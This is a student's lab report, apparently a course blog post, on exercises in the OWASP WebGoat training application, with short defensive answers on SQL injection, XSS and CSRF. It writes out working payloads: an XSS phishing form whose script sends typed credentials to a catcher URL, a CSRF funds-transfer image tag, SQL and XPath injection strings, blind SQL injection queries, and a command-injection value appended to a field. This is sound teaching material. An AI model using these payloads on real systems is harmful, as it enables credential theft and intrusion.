Exp9 Web安全基础 20154301仉鑫烨

20154301 Exp9 Web安全基础

仉鑫烨

一、 实践内容

  1. Cross-Site Scripting（XSS）练习
  2. Injection Flaws练习

二、 基础问题

  1. SQL注入攻击原理，如何防御？

答：①SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意SQL命令的目的。②对于SQL注入攻击的防范，我觉得主要还是应该从代码上入手：采用预编译语句集PreparedStatement，它内置了处理SQL注入的能力，只要使用它的setXXX方法传值即可。它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用，而PreparedStatement已经准备好了，执行阶段只是把输入串作为数据处理，而不再对sql语句进行解析准备，因此也就避免了sql注入问题；使用正则表达式过滤传入的参数，对一些包含sql注入的关键字进行过滤；采用字符串过滤的方法；jsp中调用该函数检查是否包含非法字符，防止SQL从URL注入。

  1. XSS攻击的原理，如何防御？

答：①XSS是代码注入的一种，它允许恶意用户将代码注入到网页上，并能够被浏览器成功的执行，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是，想办法获取目标攻击网站的cookie，因为有了cookie相当于有了seesion，有了这些信息就可以在任意能接进互联网的pc登陆该网站，并以其他人的身份登陆，做一些破坏。②XSS的防御可以从以下两方面来进行：一种方法是在表单提交或者url参数传递前，对需要的参数进行过滤；检查用户输入的内容中是否有非法内容，如尖括号、引号等，严格控制输出。

  1. CSRF攻击原理，如何防御？

答：①我们知道XSS是跨站脚本攻击，就是在用户的浏览器中执行攻击者的脚本，来获得其cookie等信息。而CSRF是借用用户的身份，向web server发送请求，因为该请求不是用户本意，所以称为“跨站请求伪造”。②对于CSRF的防御也可以从以下几个方面入手：
通过referer、token或者验证码来检测用户提交；
尽量不要在页面的链接中暴露用户隐私信息，对于用户修改删除等操作最好都使用post操作；避免全站通用的cookie，严格设置cookie的域。

三、实验过程

环境配置

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台，用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，目前提供的训练课程有很多，包含了XSS、线程安全、SQL注入等，我们本次的实验就是在WebGoat平台上进行。

  1. 使用命令：java -jar webgoat-server-8.0.0.M14.jar运行WebGoat。

  2. WebGoat使用8080端口，所以在浏览器上访问localhost:8080/WebGoat，进入WebGoat之后，可以看到有很多题目来让我们进行练习。

  3. 申请账号：20154301。登陆成功

  4. 为保证实验完整，需要下载JDK1.8并进行配置。将下载好的JDK包提取出来，解压出来文件夹名为 jdk1.8.0_172
    开始拷贝目录 手动安装 (注意文件夹名根据自己的实际情况来设定)

sudo mkdir -p /usr/local/java
cp -r jdk1.8.0_172/ /usr/local/java/

  1. 接下来配置JDK的环境变量.sudo gedit /etc/profile.

  2. 复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)

JAVA_HOME=/usr/local/java/jdk1.8.0_172
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
  1. 告诉系统JDK的位置，最后2行代码不是重复，是要执行2次 。
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_172/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_172/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1 
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1
  1. 设置新的JDK为默认,代码也是执行2次

sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws
  1. 重载Profile文件.source /etc/profile.
  2. 输入命令查看Java版本号:java -version
  3. 成功。后因8.0版本有些问题，重新使用7.1版本。
  4. 输入java -jar webgoat-container-7.1-exec.jar
  5. 在浏览器输入localhost:8080/WebGoat，进入webgoat

Cross-Site Scripting（XSS）练习

  1. Phishing with XSS （网路钓鱼）
  • 本题要在搜索框中输入XSS攻击代码，利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form，让受害人在我们创建的form中填写用户名和密码，再添加一段JavaScript代码，读取受害人输入的用户名和密码，并且将这些信息发送给http://localhost:8080/那一段，完整的XSS攻击代码如下：
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

  • 在搜索框中输入攻击代码后点击搜索，会看到一个要求输入用户名密码的表单，如图所示：

  • 输入用户名密码

  • 点击登录，WebGoat会将输入的信息捕获并反馈回来，攻击成功

  1. Stored XSS Attacks

  • 要求创建非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容

  • 在Message中构造语句<script>alert("4301 attack succeed!");</script>，提交后，可以发现刚刚创建的帖子20154301

  1. Cross Site Request Forgery(CSRF)

  • 写一个URL诱使其他用户点击，从而触发CSRF攻击，我们可以以图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件

  • 在message框中输入

<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=4301"/>
  • 提交后在下面的Message List里面可以看我刚刚发送的消息
  • 点击该消息，当前页面就会下载这个消息并显示出来，转走用户的4301元，从而达到CSRF攻击的目的

Injection Flaws练习

  1. SQL字符串注入（String SQL Injection）

  • 让我们试一试使用SQL注入，从而显示出所有信用卡号。可以先输入Smith试一试，发现出现在SELECT * FROM user_data WHERE last_name = 'Smith'两个单引号中间，也就是我们可以通过控制在输入框中输入的字符串，达到控制select语句的目的。

  • 输入'or 1='1，语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1'，这句的意思就是查询lastname='' OR（或者）1='1' ，这里的 1='1' 永远为真，所以成功通过。

  1. 日志欺骗（Log Spoofing）

  • 利用日志的格式，使用换行等字符，欺骗管理员：Use CR (%0d) and LF (%0a) for a new line。

  • 比如输入zxy%0d%0aLogin Succeeded for username: admin

  1. Numeric SQL Injection

  • 题目大意是这个表单允许使用者看到天气数据，利用SQL注入使得可以看见所有数据

  • 和之前的实验类似，只要加上一个1=1这种永真式即可达到我们的目的

  • 使用inspect Element对源代码进行修改，在任意一个值比如101旁边加上or 1=1；

  • 成功结果

  1. Command Injection

  • 题目的要求是：尝试给操作系统注入命令行，要求能够在目标主机上执行系统命令

  • 通过火狐浏览器的inspect Element对源代码进行修改，右键点击BackDoors.help,，这样就可以直接定位到需要修改的位置，无需一行一行代码的查看了

  • 例如在BackDoors.help旁边加上"& netstat -an & ipconfig"

  • 点击view

  • 结果

  1. Stage 1:String SQL Injection

  • 题目要求使用字符串SQL注入在没有正确密码的情况下登录账号boss

  • 用老套路，以用户Neville登录，在密码栏中输入' or 1=1 --进行SQL注入，发现登录失败

  • 查看了一下网页源码，发现输入框对输入的字符长度进行了限制，最多只允许输入8个字符,对字符长度进行修改

  • 重新登录，登录成功

  1. XPATH Injection
  • 题目要求是使用帐户Mik/Test123，目标是试着去查看其他员工的数据。
  • 使用一个普通的用户名和密码，XPath会起作用，但是攻击者可能会发送一个坏用户名和密码，并在不知道用户名或密码的情况下，选择一个XML节点，如下所示：

Username: zxy' or 1=1 or 'a'='a
Password: zxy
  1. Blind String SQL Injection
  • 使用盲注进行爆破，在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4301430143014301'), 1, 1) = 'h' );

  • 根据返回的提示来判断name的范围，直至返回成功，然后把Jill输入表单，提交，如下图所示：

四、实验体会

  • 这次实验学习到了很多攻击类型，尤其也算是接触过SQL和XSS了，本次更加深了对他们攻击的理解。XSS涉及到web编程很多的内容，也算是个回顾，也有着不少收获。在使用BurpSuite捕获包进行源码修改的方法时，遇到了很多问题，这个软件都是英文版本，所以用起来真的很费劲，看了很多学长学姐的博客，才慢慢拼凑起来，慢慢学会使用。另一种方法直接使用Firebug修改网页源码，要更容易一些，但是可用范围就要小了一些了。
posted @ 2018-05-28 12:00  20154301  阅读(138)  评论(0)  编辑  收藏  举报